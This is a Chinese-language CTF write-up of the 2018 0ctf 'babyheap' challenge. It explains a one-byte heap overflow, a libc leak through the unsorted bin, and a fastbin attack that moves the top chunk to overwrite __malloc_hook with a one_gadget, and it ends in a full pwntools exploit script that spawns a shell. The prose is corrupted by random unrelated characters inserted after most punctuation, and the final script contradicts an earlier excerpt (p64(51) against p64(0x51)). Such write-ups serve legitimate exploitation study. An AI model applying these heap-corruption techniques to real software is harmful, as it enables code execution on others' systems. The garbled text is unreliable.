寫在前面
由于我有了新歡忘了舊愛睹酌,在自己web還處于菜雞的情況下,去學了pwn剩檀。在自己菜菜的技術前提下憋沿,大膽嘗試了下0ctf的一道pwn,寫此文沪猴,紀念自己菜菜的pwn體驗
題目
題目是2018 0ctf的babyheap辐啄,64位甥绿,不是一道難題,但是也讓我這個菜pwn寫了很久则披。
漏洞
這個題就是一個洞:這里允許一個字節(jié)的溢出共缕,于是就可以覆蓋到下一個chunk的size。
首先士复,我們要先leak出地址图谷。這里由于題目分配內存使用的是calloc,這樣會在分配內存時阱洪,將內存清零便贵,所以,我們不能直接得到地址冗荸。于是我們必須換思路承璃。
leak
這里,我們先申請0x18的chunk蚌本,得到的是size為0x20的chunk盔粹,然后再申請兩小的chunk(比如0x30),然后我們利用第一個chunk的一字節(jié)溢出程癌,修改下一個chunk的size大一點咽扇,能包括下一個chunk的內容摹芙,(比如修改為0x60)仇冯,然后筛谚,再free這個修改過的chunk,(當然锐峭,需要構造在這個chunk加0x60處的size的p位為1中鼠,來應對free的檢查)之后我們再申請回這個chunk,(當然申請0x50)然后我們就能利用這個chunk沿癞,view到下一個chunk的內容了援雇,如果下一個chunk的pd和bk有值就能看了。這是leak的思路抛寝。我想leak出libc的地址來著熊杨,但是曙旭,我們申請chunk的最大大小是0x58:
于是盗舰,我們還要使用一個字節(jié)的溢出使得這個chunk的size滿足進入unsortbin的標準,于是桂躏,我們做這些操作:(比較繁瑣钻趋,本人萌新)
new(0x18)#0
new(0x18)#1
new(0x40)#2 #40
new(0x20)#3 #90
new(0x40)#4 #c0
update(0,0x19,0x19*'\x61')
update(1,0x10,p64(0)+p64(0x91))
update(2,0x40,8*p64(0x91))
dele(1)#1
new(0x50)#1 20
update(1,0x30,6*p64(0x91))
update(4,0x40,4*(p64(0x0) + p64(0x21)))
dele(2)#2 40
view(1)
p.recv(0x2a)#2a
a = p.recv(8)
main_ar = u64(a)
success(hex(u64(a)))
libcc = u64(a) - 0x3c4b78
success(hex(libcc))
首先申請2個能溢出的chunk,0號用來改1號的size剂习,1號改2號size蛮位,還有看2號的fd较沪,于是,然后我們需要一個size能進unsortbin的chunk失仁,于是我申請了3個chunk尸曼,主要是為了修改完畢2的size為0x91之后,使得chunk2之后0x90的值處size位的p位為1萄焦。
于是這樣我們就得到了chunk2的fd控轿,得到libc基址:
fastbin attack
然后我們打算fastbin attack,但是pie使得無法寫got表拂封,那么我們就寫malloc_hook茬射,這著實讓我這個萌新滿頭霧水,因為我在malloc_hook上沒找到符合格式的size冒签,然后嘗試了一種新思路在抛,就是改寫main_arena上的top_chunk的地址,這樣萧恕,我們申請內存時刚梭,就可以得到malloc_hook上面的地址,然后對malloc_hook的值進行任意寫了票唆。
于是我先把unsortbin清空(因為我比較菜望浩,害怕之后申請chunk會亂)。然后惰说,由于在fastbin attack的時候需要符合size的檢查磨德,于是,我先在main_arena上布size吆视,這時典挑,我們可以利用main_arena記錄fastbin的鏈,我們把fd設置成size
#--free to fastbins
update(5,0x10,2*(p64(0)+p64(0x31)))
update(1,0x50,10*(p64(0)+p64(0x51)))
dele(2)#2
#--change mainarena
des_addr = main_ar - 0x40
a = p64(0) + p64(0x51) + p64(0) + p64(0x51) + p64(0x41) + p64(0x51)
update(1,len(a),a)
new(0x40)#2 40
于是這里main_arena上就有0x41了:
然后申請掉這個fastbin:
然后愉快fastbin attack
然后改掉topchunk
#--change topchunk
new(0x30)#8
new(0x38)#9
payload = p64(0)*6 + p64(des_addr-56)
update(9,len(payload),payload)
然后再申請空間就能從topchunk中申請啦吧,寫到malloc_hook了您觉,利用onegadget,再次calloc就能getshell了
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def dele(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def update(index,size,context):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(context)
def view(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
#---leak libc
new(0x18)#0
new(0x18)#1
new(0x40)#2 #40
new(0x20)#3 #90
new(0x40)#4 #c0
update(0,0x19,0x19*'\x61')
update(1,0x10,p64(0)+p64(0x91))
update(2,0x40,8*p64(0x91))
dele(1)#1
new(0x50)#1 20
update(1,0x30,6*p64(0x91))
update(4,0x40,4*(p64(0x0) + p64(0x21)))
dele(2)#2 40
view(1)
p.recv(0x2a)#2a
a = p.recv(8)
main_ar = u64(a)
success(hex(u64(a)))
libcc = u64(a) - 0x3c4b78
success(hex(libcc))
#--calloc unsortbin
new(0x30)#2 40
new(0x40)#5 90
#--free to fastbins
update(5,0x10,2*(p64(0)+p64(0x31)))
update(1,0x50,10*(p64(0)+p64(0x51)))
dele(2)#2
#--change mainarena
des_addr = main_ar - 0x40
a = p64(0) + p64(0x51) + p64(0) + p64(0x51) + p64(0x41) + p64(51)
update(1,len(a),a)
new(0x40)#2 40
#--fastbin attack
new(0x18)#6
new(0x18)#7 130
new(0x30)#8 150
update(6,0x19,0x19*'\x41')
update(8,0x30,6*(p64(0)+ p64(0x21)))
dele(7)
new(0x30)#7 130
b= p64(0)+p64(0) + p64(0) + p64(0x41) + p64(des_addr)+p64(0)
update(7,len(b),b)
dele(8)
update(7,len(b),b)
#--change topchunk
new(0x30)#8
new(0x38)#9
payload = p64(0)*6 + p64(des_addr-56)
update(9,len(payload),payload)
#--change mallloc hook
new(0x18)#10
payload2 = libcc + 0x4526a
update(10,len(p64(payload2)),p64(payload2))
new(1)
p.interactive()